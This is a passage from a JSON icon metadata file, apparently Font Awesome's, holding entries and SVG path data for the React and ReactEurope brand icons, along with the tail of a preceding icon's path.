        "path": "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"
      }
    },
    "free": ["brands"]
  },
  "react": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41b",
    "label": "React",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"
      }
    },
    "free": ["brands"]
  },
  "reacteurope": {
    "changes": ["5.5.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f75d",
    "label": "ReactEurope",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 